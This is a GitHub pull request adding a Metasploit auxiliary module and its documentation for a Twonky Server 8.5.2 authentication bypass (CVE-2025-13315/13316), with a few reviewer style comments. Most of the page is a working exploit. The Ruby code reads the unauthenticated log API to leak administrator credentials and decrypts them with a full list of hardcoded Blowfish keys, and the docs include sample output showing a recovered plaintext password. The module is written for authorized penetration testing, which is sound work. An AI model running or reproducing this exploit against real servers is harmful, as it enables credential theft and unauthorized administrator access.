-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Auxiliary module for CVE-2025-13315/CVE-2025-13316 - Twonky Server Log Leak Authentication Bypass #20709
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Auxiliary module for CVE-2025-13315/CVE-2025-13316 - Twonky Server Log Leak Authentication Bypass #20709
Changes from all commits
2bb0deb
c20dd39
5b55bda
2520232
9e057ae
7aff5f3
25d87fc
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| ## Vulnerable Application | ||
| This module leverages an authentication bypass in Twonky Server 8.5.2. By exploiting | ||
| an authorization flaw to access a privileged web API endpoint and leak application logs, | ||
| encrypted administrator credentials are leaked (CVE-2025-13315). The exploit will then decrypt | ||
| these credentials using hardcoded keys (CVE-2025-13316) and login as the administrator. | ||
| Expected module output is a username and plain text password for the administrator account. | ||
|
|
||
| ## Options | ||
| No custom options for this module exist. | ||
|
|
||
| ## Testing | ||
| To set up a test environment: | ||
| 1. Download a vulnerable 8.5.2 build of Twonky Server [here](https://download.twonky.com/8.5.2/) and follow the installation instructions. | ||
| 2. Go to Settings->Security->Admin account and create an administrator user. The application should prompt for basic authentication after. | ||
| 3. Restart the server. The credential values are written to logs on startup, so this is a prerequisite for exploitation. | ||
| 4. Follow the verification steps below. | ||
|
|
||
| ## Verification Steps | ||
| 1. Start msfconsole | ||
| 2. `use auxiliary/gather/twonky_authbypass_logleak` | ||
| 3. `set RHOSTS <TARGET_IP_ADDRESS>` | ||
| 4. `set RPORT <TARGET_PORT>` | ||
| 5. `run` | ||
|
|
||
| ## Scenarios | ||
| ### Twonky Server on Linux or Windows | ||
| ``` | ||
| msf auxiliary(gather/twonky_authbypass_logleak) > show options | ||
|
|
||
| Module options (auxiliary/gather/twonky_authbypass_logleak): | ||
|
|
||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http | ||
| RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
| RPORT 9000 yes The target port (TCP) | ||
| SSL false no Negotiate SSL/TLS for outgoing connections | ||
| TARGETURI / yes The URI path to Twonky Server | ||
| VHOST no HTTP server virtual host | ||
|
|
||
|
|
||
| View the full module info with the info, or info -d command. | ||
|
|
||
| msf auxiliary(gather/twonky_authbypass_logleak) > set RHOSTS 192.168.181.129 | ||
| RHOSTS => 192.168.181.129 | ||
| msf auxiliary(gather/twonky_authbypass_logleak) > run | ||
| [*] Running module against 192.168.181.129 | ||
| [*] Confirming the target is vulnerable | ||
| [+] The target is Twonky Server v8.5.2 | ||
| [*] Attempting to leak the administrator username and encrypted password | ||
| [+] The target returned the administrator username: admin | ||
| [+] The target returned the encrypted password and key index: 14ee76270058c6e3c9f8cecaaebed4fc5206a1d2066d4f78, 7 | ||
| [*] Decrypting password using key: jwEkNvuwYCjsDzf5 | ||
| [+] Credentials decrypted: USER=admin PASS=R7Password123!!! | ||
| [*] Auxiliary module execution completed | ||
| msf auxiliary(gather/twonky_authbypass_logleak) > | ||
| ``` |
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -0,0 +1,154 @@ | ||||||
| ## | ||||||
| # This module requires Metasploit: https://metasploit.com/download | ||||||
| # Current source: https://github.com/rapid7/metasploit-framework | ||||||
| ## | ||||||
|
|
||||||
| class MetasploitModule < Msf::Auxiliary | ||||||
| include Msf::Exploit::Remote::HttpClient | ||||||
|
|
||||||
| def initialize(info = {}) | ||||||
| super( | ||||||
| update_info( | ||||||
| info, | ||||||
| 'Name' => 'Twonky Server Log Leak Authentication Bypass', | ||||||
| 'Description' => %q{ | ||||||
| This module leverages an authentication bypass in Twonky Server 8.5.2. By exploiting | ||||||
| an authorization flaw to access a privileged web API endpoint and leak application logs, | ||||||
| encrypted administrator credentials are leaked (CVE-2025-13315). The exploit will then decrypt | ||||||
| these credentials using hardcoded keys (CVE-2025-13316) and login as the administrator. | ||||||
| Expected module output is a username and plain text password for the administrator account. | ||||||
| }, | ||||||
| 'License' => MSF_LICENSE, | ||||||
| 'Author' => [ | ||||||
| 'remmons-r7' # Initial discovery, MSF module | ||||||
| ], | ||||||
| 'References' => [ | ||||||
| ['CVE', '2025-13315'], | ||||||
| ['CVE', '2025-13316'], | ||||||
| ['URL', 'https://www.rapid7.com/blog/post/cve-2025-13315-cve-2025-13316-critical-twonky-server-authentication-bypass-not-fixed/'] | ||||||
| ], | ||||||
| 'Notes' => { | ||||||
| 'Stability' => [CRASH_SAFE], | ||||||
| # No IoCs, in logs or individual files, are known | ||||||
| # If a non-default reverse proxy is configured in front of Twonky Server, it may log web traffic | ||||||
| 'SideEffects' => [], | ||||||
| 'Reliability' => [] | ||||||
| } | ||||||
| ) | ||||||
| ) | ||||||
|
|
||||||
| register_options( | ||||||
| [ | ||||||
| Opt::RPORT(9000), | ||||||
| OptString.new('TARGETURI', [true, 'The URI path to Twonky Server', '/']) | ||||||
| ] | ||||||
| ) | ||||||
| end | ||||||
|
|
||||||
| def run | ||||||
| # Unauthenticated requests to the '/dev0/desc.xml' endpoint should return the version number | ||||||
| print_status('Confirming the target is vulnerable') | ||||||
| res = send_request_cgi( | ||||||
| { | ||||||
| 'method' => 'GET', | ||||||
| 'uri' => normalize_uri(target_uri.path, 'dev0', 'desc.xml') | ||||||
| } | ||||||
| ) | ||||||
|
|
||||||
| fail_with(Failure::Unknown, 'Connection failed - unable to get XML web response') unless res | ||||||
|
|
||||||
| # Confirm that the response contains the expected 8.5.2 XML string | ||||||
| if (res&.code != 200) || (!res.body.include? '<modelNumber>8.5.2</modelNumber>') | ||||||
| fail_with(Failure::NotVulnerable, 'The target does not appear to be a Twonky Server instance running version 8.5.2') | ||||||
| end | ||||||
|
|
||||||
| print_good('The target is Twonky Server v8.5.2') | ||||||
|
|
||||||
| print_status('Attempting to leak the administrator username and encrypted password') | ||||||
| res = send_request_cgi( | ||||||
| { | ||||||
| 'method' => 'GET', | ||||||
| 'uri' => normalize_uri(target_uri.path, 'nmc', 'rpc', 'log_getfile') | ||||||
| } | ||||||
| ) | ||||||
|
|
||||||
| fail_with(Failure::Unknown, 'Connection failed - unable to get log API response') unless res | ||||||
|
|
||||||
| # Grab the most recent (last) administrator username value from the logs | ||||||
| pattern = /accessuser\s*=\s*(\S+)\n/ | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The newline characters was causing some issues for me, not sure if it's my skill issue or actual issue
Suggested change
|
||||||
| result = res.body.scan(pattern).last | ||||||
|
|
||||||
| # If the log has been cleared since startup or the server hasn't restarted since setup | ||||||
| fail_with(Failure::NotFound, 'The target did not return a log file containing a username value') unless result | ||||||
|
|
||||||
| username = result[0] | ||||||
|
|
||||||
| print_good("The target returned the administrator username: #{username}") | ||||||
|
|
||||||
| # Grab the most recent (last) password value from the logs to decrypt | ||||||
| # "||" + hex number (key index) + hex Blowfish ECB ciphertext | ||||||
| pattern = /\|\|([0-9A-F]){1}([a-fA-F0-9]{16}(?:[a-fA-F0-9]{4})*)\n/ | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Same here
Suggested change
|
||||||
| result = res.body.scan(pattern).last | ||||||
|
|
||||||
| # If the log has been cleared since the last password change or the server hasn't restarted since setup | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This seems like useful context for the operator. |
||||||
| fail_with(Failure::NotFound, 'The target did not return a log file containing a password value') unless result | ||||||
|
|
||||||
| # Extract the encryption key index as base16 | ||||||
| enc_key_index = result[0] | ||||||
|
|
||||||
| # Handle possible match array containing more than minimum 16 chars (longer encrypted password) | ||||||
| if !result[2].nil? | ||||||
| enc_pwd = result[1] + result[2..].join | ||||||
| else | ||||||
| enc_pwd = result[1] | ||||||
| end | ||||||
|
|
||||||
| print_good("The target returned the encrypted password and key index: #{enc_pwd}, #{enc_key_index}") | ||||||
|
|
||||||
| # Decrypt the admin password using static key | ||||||
| password = decrypt_password(enc_pwd, enc_key_index) | ||||||
|
|
||||||
| print_good("Credentials decrypted: USER=#{username} PASS=#{password}") | ||||||
|
|
||||||
| report_vuln( | ||||||
| host: rhost, | ||||||
| name: name, | ||||||
| refs: references | ||||||
| ) | ||||||
|
|
||||||
| store_loot('Twonky Server Credentials', 'text/plain', datastore['RHOST'], "Username: \"#{username}\" Password: \"#{password}\"") | ||||||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The credentials should also be stored as creds using the |
||||||
| end | ||||||
|
|
||||||
| # Decrypt the password using Blowfish ECB with the specified encryption key | ||||||
| def decrypt_password(pwd, key_num) | ||||||
| # Twonky Server 8.5.2 uses static encryption keys for passwords | ||||||
| static_keys = [ | ||||||
| 'E8ctd4jZwMbaV587', | ||||||
| 'TGFWfWuW3cw28trN', | ||||||
| 'pgqYY2g9atVpTzjY', | ||||||
| 'KX7q4gmQvWtA8878', | ||||||
| 'VJjh7ujyT8R5bR39', | ||||||
| 'ZMWkaLp9bKyV6tXv', | ||||||
| 'KMLvvq6my7uKkpxf', | ||||||
| 'jwEkNvuwYCjsDzf5', | ||||||
| 'FukE5DhdsbCjuKay', | ||||||
| 'SpKNj6qYQGjuGMdd', | ||||||
| 'qLyXuAHPTF2cPGWj', | ||||||
| 'rKz7NBhM3vYg85mg' | ||||||
| ] | ||||||
|
Comment on lines
+125
to
+138
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Rather than define the keys every time a password is decrypted, this could be defined once in a method: def static_keys
[
'E8ctd4jZwMbaV587',
'TGFWfWuW3cw28trN',
'pgqYY2g9atVpTzjY',
'KX7q4gmQvWtA8878',
'VJjh7ujyT8R5bR39',
'ZMWkaLp9bKyV6tXv',
'KMLvvq6my7uKkpxf',
'jwEkNvuwYCjsDzf5',
'FukE5DhdsbCjuKay',
'SpKNj6qYQGjuGMdd',
'qLyXuAHPTF2cPGWj',
'rKz7NBhM3vYg85mg'
]
endAlthough it makes no difference when the decryption method is called only once. |
||||||
|
|
||||||
| # Encrypted password hex to bytes | ||||||
| pwd_bytes = [pwd].pack('H*') | ||||||
|
|
||||||
| # Select the appropriate key, based on the index hex number stored with the ciphertext | ||||||
| key = static_keys[key_num.to_i(16)] | ||||||
|
|
||||||
| print_status("Decrypting password using key: #{key}") | ||||||
|
|
||||||
| cipher = OpenSSL::Cipher.new('bf-ecb').decrypt | ||||||
| cipher.key_len = key.length | ||||||
| cipher.padding = 0 | ||||||
| cipher.key = key | ||||||
| cipher.update(pwd_bytes) + cipher.final | ||||||
| end | ||||||
| end | ||||||
Uh oh!
There was an error while loading. Please reload this page.